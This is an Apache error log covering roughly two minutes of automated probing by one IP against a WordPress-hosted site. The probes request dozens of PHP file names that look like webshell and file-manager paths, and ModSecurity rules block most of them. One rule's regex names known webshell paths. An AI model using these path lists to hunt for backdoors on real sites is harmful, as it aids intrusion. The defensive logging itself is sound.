[Mon Apr 13 00:37:26.434283 2026] [:error] [pid 26600:tid 26639] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/mifta.php
[Mon Apr 13 00:37:26.693302 2026] [:error] [pid 26600:tid 26631] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/Geforce.php
[Mon Apr 13 00:37:27.368930 2026] [:error] [pid 26600:tid 26631] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Mon Apr 13 00:37:27.626556 2026] [:error] [pid 26600:tid 26629] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/xs.php
[Mon Apr 13 00:37:28.169590 2026] [:error] [pid 26600:tid 26637] [client 20.251.15.206:5218] File does not exist: /usr/local/apache/htdocs/suspended-page/son1.php
[Mon Apr 13 00:37:28.425271 2026] [:error] [pid 26600:tid 26634] [client 20.251.15.206:5218] [client 20.251.15.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "advKSO1YwAZiXhQKLYqBLwAAAYU"]
[Mon Apr 13 00:37:30.018920 2026] [:error] [pid 60280:tid 60299] [client 20.251.15.206:56685] File does not exist: /usr/local/apache/htdocs/suspended-page/aboute.php
[Mon Apr 13 00:37:30.280121 2026] [:error] [pid 60280:tid 60292] [client 20.251.15.206:56685] File does not exist: /usr/local/apache/htdocs/suspended-page/pp.php
[Mon Apr 13 00:37:30.561064 2026] [:error] [pid 60280:tid 60304] [client 20.251.15.206:56685] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "advKSnBlLnDOYuIykkhEgAAAAdY"]
[Mon Apr 13 00:37:31.751150 2026] [:error] [pid 25327:tid 25349] [client 20.251.15.206:59415] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "advKSy6h2tZEVJo9JFI9qQAAAA0"]
[Mon Apr 13 00:37:33.171896 2026] [:error] [pid 60280:tid 60302] [client 20.251.15.206:56343] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "advKTXBlLnDOYuIykkhEigAAAdQ"]
[Mon Apr 13 00:37:36.481137 2026] [:error] [pid 25329:tid 25376] [client 20.251.15.206:38612] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ng.php"] [unique_id "advKUGdcIYsS8Iyaj1393QAAAIE"]
[Mon Apr 13 00:37:44.883680 2026] [:error] [pid 25327:tid 25346] [client 20.251.15.206:58215] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "advKWC6h2tZEVJo9JFI92wAAAAo"]
[Mon Apr 13 00:37:51.972740 2026] [:error] [pid 25328:tid 25379] [client 20.251.15.206:5190] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tiny2.php"] [unique_id "advKX8xUaQZxT-e0YsCYngAAAEs"]
[Mon Apr 13 00:37:55.995564 2026] [:error] [pid 25329:tid 25402] [client 20.251.15.206:62574] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "advKY2dcIYsS8Iyaj13-BgAAAI8"]
[Mon Apr 13 00:37:58.043479 2026] [:error] [pid 25328:tid 25369] [client 20.251.15.206:40520] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "advKZsxUaQZxT-e0YsCYpAAAAEU"]
[Mon Apr 13 00:37:59.449427 2026] [:error] [pid 25328:tid 25375] [client 20.251.15.206:48380] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "advKZ8xUaQZxT-e0YsCYrQAAAEk"]
[Mon Apr 13 00:38:00.580888 2026] [:error] [pid 25327:tid 25348] [client 20.251.15.206:5245] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/state.php"] [unique_id "advKaC6h2tZEVJo9JFI-AwAAAAw"]
[Mon Apr 13 00:38:02.219693 2026] [:error] [pid 25329:tid 25400] [client 20.251.15.206:59978] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "advKamdcIYsS8Iyaj13-HgAAAI4"]
[Mon Apr 13 00:38:03.317304 2026] [:error] [pid 25327:tid 25338] [client 20.251.15.206:57372] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "advKay6h2tZEVJo9JFI-FwAAAAI"]
[Mon Apr 13 00:38:04.770747 2026] [:error] [pid 25329:tid 25412] [client 20.251.15.206:56552] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "advKbGdcIYsS8Iyaj13-KQAAAJU"]
[Mon Apr 13 00:38:06.395298 2026] [:error] [pid 25327:tid 25354] [client 20.251.15.206:40462] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "advKbi6h2tZEVJo9JFI-JQAAABI"]
[Mon Apr 13 00:38:07.421114 2026] [:error] [pid 60280:tid 60288] [client 20.251.15.206:59633] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "advKb3BlLnDOYuIykkhE8gAAAcY"]
[Mon Apr 13 00:38:08.785069 2026] [:error] [pid 25329:tid 25402] [client 20.251.15.206:58194] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "advKcGdcIYsS8Iyaj13-NAAAAI8"]
[Mon Apr 13 00:38:09.750966 2026] [:error] [pid 25329:tid 25397] [client 20.251.15.206:5211] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "advKcWdcIYsS8Iyaj13-PQAAAIw"]
[Mon Apr 13 00:38:11.045962 2026] [:error] [pid 60280:tid 60304] [client 20.251.15.206:25724] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "advKc3BlLnDOYuIykkhE9QAAAdY"]
[Mon Apr 13 00:38:14.583997 2026] [:error] [pid 25329:tid 25402] [client 20.251.15.206:60768] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "advKdmdcIYsS8Iyaj13-TAAAAI8"]
[Mon Apr 13 00:38:17.699083 2026] [:error] [pid 60280:tid 60288] [client 20.251.15.206:58233] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "advKeXBlLnDOYuIykkhFFAAAAcY"]
[Mon Apr 13 00:38:21.504547 2026] [:error] [pid 60280:tid 60292] [client 20.251.15.206:62409] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "advKfXBlLnDOYuIykkhFHwAAAco"]
[Mon Apr 13 00:38:24.766145 2026] [:error] [pid 26567:tid 26587] [client 20.251.15.206:62426] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ayk.php"] [unique_id "advKgHhRpg6ptWFyFx3qKwAAARI"]
[Mon Apr 13 00:38:29.364712 2026] [:error] [pid 26567:tid 26591] [client 20.251.15.206:25714] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wgift1.php"] [unique_id "advKhXhRpg6ptWFyFx3qNAAAARY"]
[Mon Apr 13 00:38:35.794595 2026] [:error] [pid 26600:tid 26636] [client 20.251.15.206:51430] File does not exist: /usr/local/apache/htdocs/suspended-page/wgift1.php
[Mon Apr 13 00:38:37.847810 2026] [:error] [pid 26600:tid 26646] [client 20.251.15.206:51430] File does not exist: /usr/local/apache/htdocs/suspended-page/ss.php
[Mon Apr 13 00:38:39.227999 2026] [:error] [pid 26600:tid 26641] [client 20.251.15.206:51430] File does not exist: /usr/local/apache/htdocs/suspended-page/tx79.php
[Mon Apr 13 00:38:39.728398 2026] [:error] [pid 26600:tid 26637] [client 20.251.15.206:51430] File does not exist: /usr/local/apache/htdocs/suspended-page/7.php
[Mon Apr 13 00:38:40.275129 2026] [:error] [pid 26600:tid 26634] [client 20.251.15.206:51430] File does not exist: /usr/local/apache/htdocs/suspended-page/config.php
[Mon Apr 13 00:38:40.986965 2026] [:error] [pid 26600:tid 26631] [client 20.251.15.206:51430] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Mon Apr 13 00:38:41.887797 2026] [:error] [pid 26600:tid 26638] [client 20.251.15.206:51430] [client 20.251.15.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "advKke1YwAZiXhQKLYqBzwAAAYk"]
[Mon Apr 13 00:38:44.156023 2026] [:error] [pid 25329:tid 25404] [client 20.251.15.206:5484] File does not exist: /usr/local/apache/htdocs/suspended-page/eFpU3yHnriNNLtvdefault.php
[Mon Apr 13 00:38:44.443082 2026] [:error] [pid 25329:tid 25384] [client 20.251.15.206:5484] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Mon Apr 13 00:38:44.704766 2026] [:error] [pid 25329:tid 25415] [client 20.251.15.206:5484] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Mon Apr 13 00:38:44.961033 2026] [:error] [pid 25329:tid 25392] [client 20.251.15.206:5484] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "advKlGdcIYsS8Iyaj13-egAAAIk"]
[Mon Apr 13 00:38:46.993979 2026] [:error] [pid 25329:tid 25415] [client 20.251.15.206:59413] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "advKlmdcIYsS8Iyaj13-igAAAJg"]
[Mon Apr 13 00:38:48.069705 2026] [:error] [pid 60280:tid 60298] [client 20.251.15.206:48014] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "advKmHBlLnDOYuIykkhFTQAAAdA"]
[Mon Apr 13 00:38:49.097316 2026] [:error] [pid 60280:tid 60287] [client 20.251.15.206:62373] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sadcut1.php"] [unique_id "advKmXBlLnDOYuIykkhFVQAAAcU"]
[Mon Apr 13 00:38:50.390866 2026] [:error] [pid 26600:tid 26637] [client 20.251.15.206:48335] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/footer.php"] [unique_id "advKmu1YwAZiXhQKLYqB1gAAAYg"]
[Mon Apr 13 00:38:51.386981 2026] [:error] [pid 25437:tid 25439] [client 20.251.15.206:44196] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/footer.php"] [unique_id "advKm3f97wYZje1ep_Of8QAAAMA"]
[Mon Apr 13 00:38:53.027740 2026] [:error] [pid 26600:tid 26640] [client 20.251.15.206:5627] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/footer.php"] [unique_id "advKne1YwAZiXhQKLYqB4wAAAYs"]
[Mon Apr 13 00:38:55.706453 2026] [:error] [pid 25327:tid 25352] [client 20.251.15.206:59604] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/footer.php"] [unique_id "advKny6h2tZEVJo9JFI-rQAAABA"]
[Mon Apr 13 00:38:56.721935 2026] [:error] [pid 25328:tid 25401] [client 20.251.15.206:57400] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "advKoMxUaQZxT-e0YsCZCAAAAFU"]
[Mon Apr 13 00:38:58.242986 2026] [:error] [pid 25328:tid 25368] [client 20.251.15.206:56213] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "advKosxUaQZxT-e0YsCZFAAAAEQ"]
[Mon Apr 13 00:38:59.490429 2026] [:error] [pid 25327:tid 25354] [client 20.251.15.206:60155] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "advKoy6h2tZEVJo9JFI-tQAAABI"]
[Mon Apr 13 00:39:01.276989 2026] [:error] [pid 25437:tid 25449] [client 20.251.15.206:60815] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/img.php"] [unique_id "advKpXf97wYZje1ep_OgBAAAAMo"]
[Mon Apr 13 00:39:03.796079 2026] [:error] [pid 25329:tid 25413] [client 20.251.15.206:53972] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "advKp2dcIYsS8Iyaj13-oAAAAJY"]
[Mon Apr 13 00:39:08.000752 2026] [:error] [pid 60280:tid 60295] [client 20.251.15.206:56185] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "advKq3BlLnDOYuIykkhF3wAAAc0"]
[Mon Apr 13 00:39:11.630254 2026] [:error] [pid 26567:tid 26579] [client 20.251.15.206:5607] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "advKr3hRpg6ptWFyFx3qVAAAAQo"]
[Mon Apr 13 00:39:13.927488 2026] [:error] [pid 60280:tid 60306] [client 20.251.15.206:56137] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "advKsXBlLnDOYuIykkhGAwAAAdg"]
[Mon Apr 13 00:39:19.738781 2026] [:error] [pid 25327:tid 25359] [client 20.251.15.206:50057] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "advKty6h2tZEVJo9JFI-zgAAABc"]
[Mon Apr 13 00:39:25.430763 2026] [:error] [pid 26600:tid 26650] [client 20.251.15.206:49162] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "advKve1YwAZiXhQKLYqCBgAAAZU"]
[Mon Apr 13 00:39:26.981776 2026] [:error] [pid 25437:tid 25462] [client 20.251.15.206:50080] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "advKvnf97wYZje1ep_OgWAAAANc"]
[Mon Apr 13 00:39:28.196244 2026] [:error] [pid 25437:tid 25445] [client 20.251.15.206:44221] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "advKwHf97wYZje1ep_OgYQAAAMY"]
[Mon Apr 13 00:39:29.232210 2026] [:error] [pid 60280:tid 60304] [client 20.251.15.206:54990] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "advKwXBlLnDOYuIykkhGUQAAAdY"]
[Mon Apr 13 00:39:31.697310 2026] [:error] [pid 25329:tid 25415] [client 20.251.15.206:54210] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "advKw2dcIYsS8Iyaj13_JwAAAJg"]
[Mon Apr 13 00:39:33.568493 2026] [:error] [pid 25328:tid 25401] [client 20.251.15.206:60882] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "advKxcxUaQZxT-e0YsCZPAAAAFU"]
[Mon Apr 13 00:39:35.660076 2026] [:error] [pid 60280:tid 60295] [client 20.251.15.206:58163] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xff.php"] [unique_id "advKx3BlLnDOYuIykkhGjQAAAc0"]
[Mon Apr 13 00:39:36.520228 2026] [:error] [pid 25437:tid 25444] [client 20.251.15.206:50090] [client 20.251.15.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "advKyHf97wYZje1ep_OgbgAAAMU"]
